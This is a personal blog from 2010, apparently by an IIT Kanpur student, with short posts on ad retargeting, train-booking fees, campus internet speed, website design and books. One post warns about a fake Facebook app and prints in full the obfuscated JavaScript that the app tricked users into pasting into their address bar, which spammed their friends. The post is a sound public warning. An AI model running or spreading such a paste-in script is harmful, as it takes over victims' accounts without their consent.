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They are following me!

24-Jun-10

They are following me everywhere. Yes, I admit I’ve been there. But that’s not a crime!

What is more surprising than you find internet marketing ads are following you? I visited Dominio.com and NetowrkSolutions.com yesterday, and today found them following me wherever I go. On totally different content, repeatedly and on multiple sites. Here are screen-shots.

I know the only way to get rid is to clear browser cookies. I did and they went away!


[Note: Typically I use AdBlockPlus, but these days I am trying to understand how AdWords works.]

- Ankit

Vector Logo for IITK

02-Jun-10

Here is an SVG or Vector graphic logo for IIT Kanpur.





tool used for creation: http://vectormagic.com/online/how_it_works

Another from Wikipedia: http://en.wikipedia.org/wiki/File:IIT_Kanpur_Logo.svg

-Ankit

Beware: Fake Facebook App

08-May-10

[Update 2: The following app has been removed by facebook.]
[Update 1: The app invites all your friends, and likes the app automatically. It does not hack your account or cookie. Thanks Ahmud]

A perfectly crafted FaceBook app to hack your account. Here is URL: 10 lies girls ALWAYS tell guys! funny! (Do not follow instructions unless you want your account be compromised)

The app asks you to press <ctrl> + C, <alt> + D, <ctrl> + V and <enter> to paste a JavaScript in to your browser’s address bar. I don’t know what will happen next, follow the instructions if you want your account to be compromised :( .

JavaScript it pastes:
javascript:(function(){a='app120196878004524_jop';b='app120196878004524_jode';ifc='app120196878004524_ifc';ifo='app120196878004524_ifo';mw='app120196878004524_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

The app has an hidden <textarea> with keyboard focus. When you press <ctrl> + C, its content gets selected and then you follow instructions to paste it in address bar! Never ever do that.

More…

Saving Money with IRCTC

25-Apr-10

Booking a ticket at IRCTC means spending a few bucks extra. Well, it does not bother much as it saved my time and petrol. Here is a tip to save some money, but before that, a concern to raise!

IRCTC charges flat Rs 10 on each ticket as their service charge. But why? Cards payment industry has a painful clause that merchants has to bear any fraud. For example, if a fraudster books a ticket with stolen card and later the card owner files a chargeback, IRCTC has to pay the amount back. But the fraudster has finished enjoying travel before owner files a chargeback! So how to does they deal with this? IRCTC decided (like what other merchants do) to take this from consumers as an insurance money. And that’s how an honest poor Indian suffers!

Let’s get back to the business of this post. Apart for typical IRCTC charges, the consumer has to beer additional bank charges too. Refer the list of transaction service fees charged by various banks at IRCTC. All credit card payment gateways charge 1.65-1.8% of transaction amount, Debit cards are charged at flat Rs 10 while net-banking transactions are charged a little more (Rs 10 + Service Tax).

If you want to save a few bucks while booking small tickets (up to Rs 600) use credit cards and debit cards if they are enabled. ICICI has enabled use of Visa debit-cards at credit-card gateways. I typically select Axis PG and use ICICI debit card. As a result I pay Rs 10 + 1.65% additionally.

- ankit

Internet Speed at IITK

25-Apr-10

Recently Youtube has launched a tool to test your network’s speed and see historical data too. Here is what it shows for IITK’s ISP (vsnl-iitk).

speed-comparision(for vsnlproxy. as of 25 April,2010)

It means at IITK people download videos at an average speed of 5.3 kilo kbps. People here enjoy the best internet/networking infrastructure in UP (or probably in India too). The average speed is almost 10 times better than what an average Indian gets. If you see carefully, the average for Kanpur is pulled up 3 times compared to rest of India and UP. Why? I think it’s just because of IITK!

Note: The data for bsnlproxy is too different. Seems like using vsnlproxy downloads videos much faster.

- ankit

Showcase of Indian Academic Websites

10-Apr-10

Web is ubiquitous. An institute’s website is the first impression an applicant has. However, Indian institutes are not gearing up for this changing scenario. Indian academics’ websites are far beyond the quality of US colleges and universities. I understand, in India institutes have other major problems to deal with and building a website comes at last. In this post, I tried to pick some of the best designs from Indian academic world. Here go some recommendations first -

Rich colour photographs: They add liveliness to your website. Some of the academic websites have photographs of saturated colours and these are highly discouraged. Photographs of real students (or at least Indian people/models), campus or building definitely helps in making applicant’s mind.

Latest Happenings: Building a website is a continuous process, and it must have up-to-date information.

Moving content: Widely said – moving content on websites is bad. However, as long as it does not hurt visitor’s attention it is acceptable. For example, the fast moving content at IIITM made me search for what I’m looking.

Two institutes which took my immediate attention are Mangalayatan University and IIT Madras. They both have some of the best designs and give the first impression of excellence! However, I personally prefer former as their whole (home page) content fitted in viewing area. For IIT Madras’s home page, I am required to scroll through to see rest of the content. At last, IIT Madras wins the game because of their ‘site search’ feature and CMS.

More…

Personal Updates ;)

05-Mar-10

Guten Tag,
These days I spend more time on flickr than any social network. Why? ahem.. I’m learning photography! Here is my photostream.

Ankit Jain (ankitjain.info). Get yours at bighugelabs.com

Two books got chance to be in my reading list:

  1. The High Performance Entrepreneur, by Subroto Bagchi.
    Well, there is no golden rule which can bring success, and that’s fact! For all you need these books/talks is to keep you motivated, raised, working, rocking; else u may loose your aspiration in very early days. Thank you flipkart for delivering in absolute two days; you guys rock.
  2. Software Product Lines: Patterns and Practices, by Paul Clements, Linda Northrop.
    I could not stop reading first chapter. These guys have put a new perspective to my thinking about product lines, they describe very well what is not a software-product-line and what actually it’s. Building a software and serving multiple clients is not achieved by a great software architecture, instead you should think from a perspective of a product line. Just started reading this book. The book describes concepts with relevant case-studies.


book - high performance entrepreneur   book - Software Product Lines: Practices and Patterns

- Ankit
( Note: Guten Tag is everyday German greetings! )

Buzz Hack – Using Firefox

10-Feb-10

When everyone around me has buzz, why don’t me? After doing some research here is a simple hack. You do not need any invite. Just follow these instructions and you are in.

  1. Install User Agent Switcher addon in Firefox
  2. Restart Firefox
  3. Go to Options Menu > Default User Agent. Select iPhone 3.0
  4. Log on to https://m.google.com/app/buzz

and you are there… Happy Buzzing!

Hosted by imgur.com

Ack: http://twitter.com/azaaza/status/8877251932

Time to forget Mahatma

30-Jan-10

Today morning, I picked a few newspaper, expecting a glimpse of Mahatma Gandhi. You might know it’s 30th Jan, 62nd death anniversary of Mahatma Gandhi. Well, none of these newspapers had a picture or an article on Mahatma Gandhi. These newspapers* are Times of India, Amar Ujala and The Economic Times.

Typically, on this day either government or some organizations publish public service ads declaring their vision. But today it seems our government is run out of funds. There were some ads by Ministry of Power, but that did not cover all leading publications. The TOI group has huge spaces and funds for promoting TimesNow and their reports’ bravery, but not for our freedom fighters.

Mahatma Gandhi
Ack: Wikipedia

* These newspapers are referred in Kanpur. Probably a Kanpur or Lucknow edition.

Need for Storage! 1TB

12-Jan-10

Remember the days of 4GB of disk space? That was just 10 years back… Our demand for space is kicking each day and I have seen all for 4, 40, 160, 1000. So, what all we want to store? Primarily *media, *songs, *photos and a few (i mean very very few) data files. If I calculate (approximately), my all precious data can fit in 4GB. Remaining 996GB is for storing entertainment stuff? (actually yes :) )
More…